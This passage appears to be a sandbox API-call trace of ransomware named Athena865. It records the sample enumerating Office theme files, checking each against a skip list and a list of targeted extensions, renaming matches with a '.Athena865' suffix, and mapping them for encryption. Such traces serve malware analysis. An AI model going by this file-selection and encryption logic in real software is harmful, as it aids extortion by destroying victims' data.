pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.558] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.558] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.559] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.559] CloseHandle (hObject=0x17c) returned 1 [0137.559] CloseHandle (hObject=0x154) returned 1 [0137.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.559] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.559] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2=".") returned 1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="..") returned 1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="windows") returned -1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgr") returned 1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="temp") returned -1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="pagefile.sys") returned -1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="boot") returned 1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="ids.txt") returned -1 [0137.559] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.dat") returned -1 [0137.560] lstrcmpiW (lpString1="Clarity.xml", lpString2="perflogs") returned -1 [0137.560] lstrcmpiW (lpString1="Clarity.xml", lpString2="MSBuild") returned -1 [0137.560] lstrlenW (lpString="Clarity.xml") returned 11 [0137.560] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Clarity.xml" | out: lpString1="Clarity.xml") returned="Clarity.xml" [0137.560] lstrlenW (lpString="Clarity.xml") returned 11 [0137.560] lstrlenW (lpString="Athena865") returned 9 [0137.560] lstrcmpiW (lpString1="arity.xml", lpString2="Athena865") returned -1 [0137.560] lstrlenW (lpString=".dll") returned 4 [0137.560] lstrcmpiW (lpString1="Clarity.xml", lpString2=".dll") returned 1 [0137.560] lstrlenW (lpString=".lnk") returned 4 [0137.560] lstrcmpiW (lpString1="Clarity.xml", lpString2=".lnk") returned 1 [0137.560] lstrlenW (lpString=".ini") returned 4 [0137.560] lstrcmpiW (lpString1="Clarity.xml", lpString2=".ini") returned 1 [0137.560] lstrlenW (lpString=".sys") returned 4 [0137.560] lstrcmpiW (lpString1="Clarity.xml", lpString2=".sys") returned 1 [0137.560] lstrlenW (lpString="Clarity.xml") returned 11 [0137.560] lstrlenW (lpString="bak") returned 3 [0137.560] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.560] lstrlenW (lpString="ba_") returned 3 [0137.560] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.560] lstrlenW (lpString="dbb") returned 3 [0137.560] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.560] lstrlenW (lpString="vmdk") returned 4 [0137.560] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.560] lstrlenW (lpString="rar") returned 3 [0137.560] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.560] lstrlenW (lpString="zip") returned 3 [0137.560] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.561] lstrlenW (lpString="tgz") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.561] lstrlenW (lpString="vbox") returned 4 [0137.561] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.561] lstrlenW (lpString="vdi") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.561] lstrlenW (lpString="vhd") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.561] lstrlenW (lpString="vhdx") returned 4 [0137.561] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.561] lstrlenW (lpString="avhd") returned 4 [0137.561] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.561] lstrlenW (lpString="db") returned 2 [0137.561] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.561] lstrlenW (lpString="db2") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.561] lstrlenW (lpString="db3") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.561] lstrlenW (lpString="dbf") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.561] lstrlenW (lpString="mdf") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.561] lstrlenW (lpString="mdb") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.561] lstrlenW (lpString="sql") returned 3 [0137.561] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.561] lstrlenW (lpString="sqlite") returned 6 [0137.561] lstrcmpiW (lpString1="ty.xml", lpString2="sqlite") returned 1 [0137.562] lstrlenW (lpString="sqlite3") returned 7 [0137.562] lstrcmpiW (lpString1="ity.xml", lpString2="sqlite3") returned -1 [0137.562] lstrlenW (lpString="sqlitedb") returned 8 [0137.562] lstrcmpiW (lpString1="rity.xml", lpString2="sqlitedb") returned -1 [0137.562] lstrlenW (lpString="xml") returned 3 [0137.562] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.562] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.Athena865") returned 86 [0137.562] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.athena865"), dwFlags=0x1) returned 1 [0137.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Clarity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\clarity.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.563] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3599) returned 1 [0137.563] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.564] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.564] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.564] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.565] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.565] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x17c [0137.567] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000 [0137.568] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.568] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.568] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.569] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.569] CloseHandle (hObject=0x17c) returned 1 [0137.569] CloseHandle (hObject=0x154) returned 1 [0137.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.570] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2=".") returned 1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="..") returned 1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="windows") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgr") returned 1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="temp") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="pagefile.sys") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="boot") returned 1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="ids.txt") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.dat") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="perflogs") returned -1 [0137.570] lstrcmpiW (lpString1="Composite.xml", lpString2="MSBuild") returned -1 [0137.570] lstrlenW (lpString="Composite.xml") returned 13 [0137.570] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Composite.xml" | out: lpString1="Composite.xml") returned="Composite.xml" [0137.570] lstrlenW (lpString="Composite.xml") returned 13 [0137.570] lstrlenW (lpString="Athena865") returned 9 [0137.570] lstrcmpiW (lpString1="osite.xml", lpString2="Athena865") returned 1 [0137.570] lstrlenW (lpString=".dll") returned 4 [0137.571] lstrcmpiW (lpString1="Composite.xml", lpString2=".dll") returned 1 [0137.571] lstrlenW (lpString=".lnk") returned 4 [0137.571] lstrcmpiW (lpString1="Composite.xml", lpString2=".lnk") returned 1 [0137.571] lstrlenW (lpString=".ini") returned 4 [0137.571] lstrcmpiW (lpString1="Composite.xml", lpString2=".ini") returned 1 [0137.571] lstrlenW (lpString=".sys") returned 4 [0137.571] lstrcmpiW (lpString1="Composite.xml", lpString2=".sys") returned 1 [0137.571] lstrlenW (lpString="Composite.xml") returned 13 [0137.571] lstrlenW (lpString="bak") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.571] lstrlenW (lpString="ba_") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.571] lstrlenW (lpString="dbb") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.571] lstrlenW (lpString="vmdk") returned 4 [0137.571] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.571] lstrlenW (lpString="rar") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.571] lstrlenW (lpString="zip") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.571] lstrlenW (lpString="tgz") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.571] lstrlenW (lpString="vbox") returned 4 [0137.571] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.571] lstrlenW (lpString="vdi") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.571] lstrlenW (lpString="vhd") returned 3 [0137.571] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.572] lstrlenW (lpString="vhdx") returned 4 [0137.572] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.572] lstrlenW (lpString="avhd") returned 4 [0137.572] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.572] lstrlenW (lpString="db") returned 2 [0137.572] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.572] lstrlenW (lpString="db2") returned 3 [0137.572] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.572] lstrlenW (lpString="db3") returned 3 [0137.572] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.572] lstrlenW (lpString="dbf") returned 3 [0137.572] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.572] lstrlenW (lpString="mdf") returned 3 [0137.572] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.572] lstrlenW (lpString="mdb") returned 3 [0137.572] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.572] lstrlenW (lpString="sql") returned 3 [0137.572] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.572] lstrlenW (lpString="sqlite") returned 6 [0137.572] lstrcmpiW (lpString1="te.xml", lpString2="sqlite") returned 1 [0137.572] lstrlenW (lpString="sqlite3") returned 7 [0137.572] lstrcmpiW (lpString1="ite.xml", lpString2="sqlite3") returned -1 [0137.572] lstrlenW (lpString="sqlitedb") returned 8 [0137.572] lstrcmpiW (lpString1="site.xml", lpString2="sqlitedb") returned -1 [0137.572] lstrlenW (lpString="xml") returned 3 [0137.572] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0137.572] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.Athena865") returned 88 [0137.573] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.athena865"), dwFlags=0x1) returned 1 [0137.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Composite.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\composite.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.575] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3598) returned 1 [0137.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.575] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.575] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.576] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.576] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.576] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1110, lpName=0x0) returned 0x17c [0137.578] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1110) returned 0x100000 [0137.578] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.579] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.579] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.579] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.579] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.580] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.580] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.580] CloseHandle (hObject=0x17c) returned 1 [0137.580] CloseHandle (hObject=0x154) returned 1 [0137.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.580] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.580] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdc6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2=".") returned 1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="..") returned 1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="windows") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="bootmgr") returned 1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="temp") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="pagefile.sys") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="boot") returned 1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="ids.txt") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="ntuser.dat") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="perflogs") returned -1 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2="MSBuild") returned -1 [0137.581] lstrlenW (lpString="Concourse.xml") returned 13 [0137.581] lstrcpyW (in: lpString1=0x241e8ca, lpString2="Concourse.xml" | out: lpString1="Concourse.xml") returned="Concourse.xml" [0137.581] lstrlenW (lpString="Concourse.xml") returned 13 [0137.581] lstrlenW (lpString="Athena865") returned 9 [0137.581] lstrcmpiW (lpString1="ourse.xml", lpString2="Athena865") returned 1 [0137.581] lstrlenW (lpString=".dll") returned 4 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2=".dll") returned 1 [0137.581] lstrlenW (lpString=".lnk") returned 4 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2=".lnk") returned 1 [0137.581] lstrlenW (lpString=".ini") returned 4 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2=".ini") returned 1 [0137.581] lstrlenW (lpString=".sys") returned 4 [0137.581] lstrcmpiW (lpString1="Concourse.xml", lpString2=".sys") returned 1 [0137.581] lstrlenW (lpString="Concourse.xml") returned 13 [0137.582] lstrlenW (lpString="bak") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0137.582] lstrlenW (lpString="ba_") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0137.582] lstrlenW (lpString="dbb") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0137.582] lstrlenW (lpString="vmdk") returned 4 [0137.582] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0137.582] lstrlenW (lpString="rar") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0137.582] lstrlenW (lpString="zip") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0137.582] lstrlenW (lpString="tgz") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0137.582] lstrlenW (lpString="vbox") returned 4 [0137.582] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0137.582] lstrlenW (lpString="vdi") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0137.582] lstrlenW (lpString="vhd") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0137.582] lstrlenW (lpString="vhdx") returned 4 [0137.582] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0137.582] lstrlenW (lpString="avhd") returned 4 [0137.582] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0137.582] lstrlenW (lpString="db") returned 2 [0137.582] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0137.582] lstrlenW (lpString="db2") returned 3 [0137.582] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0137.583] lstrlenW (lpString="db3") returned 3 [0137.583] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0137.583] lstrlenW (lpString="dbf") returned 3 [0137.583] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0137.583] lstrlenW (lpString="mdf") returned 3 [0137.583] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0137.583] lstrlenW (lpString="mdb") returned 3 [0137.583] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0137.583] lstrlenW (lpString="sql") returned 3 [0137.583] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0137.583] lstrcmpiW (lpString1="se.xml", lpString2="sqlite") returned -1 [0137.583] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.Athena865") returned 88 [0137.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.athena865"), dwFlags=0x1) returned 1 [0137.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.585] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3526) returned 1 [0137.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.585] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.585] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.586] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.586] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.586] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, 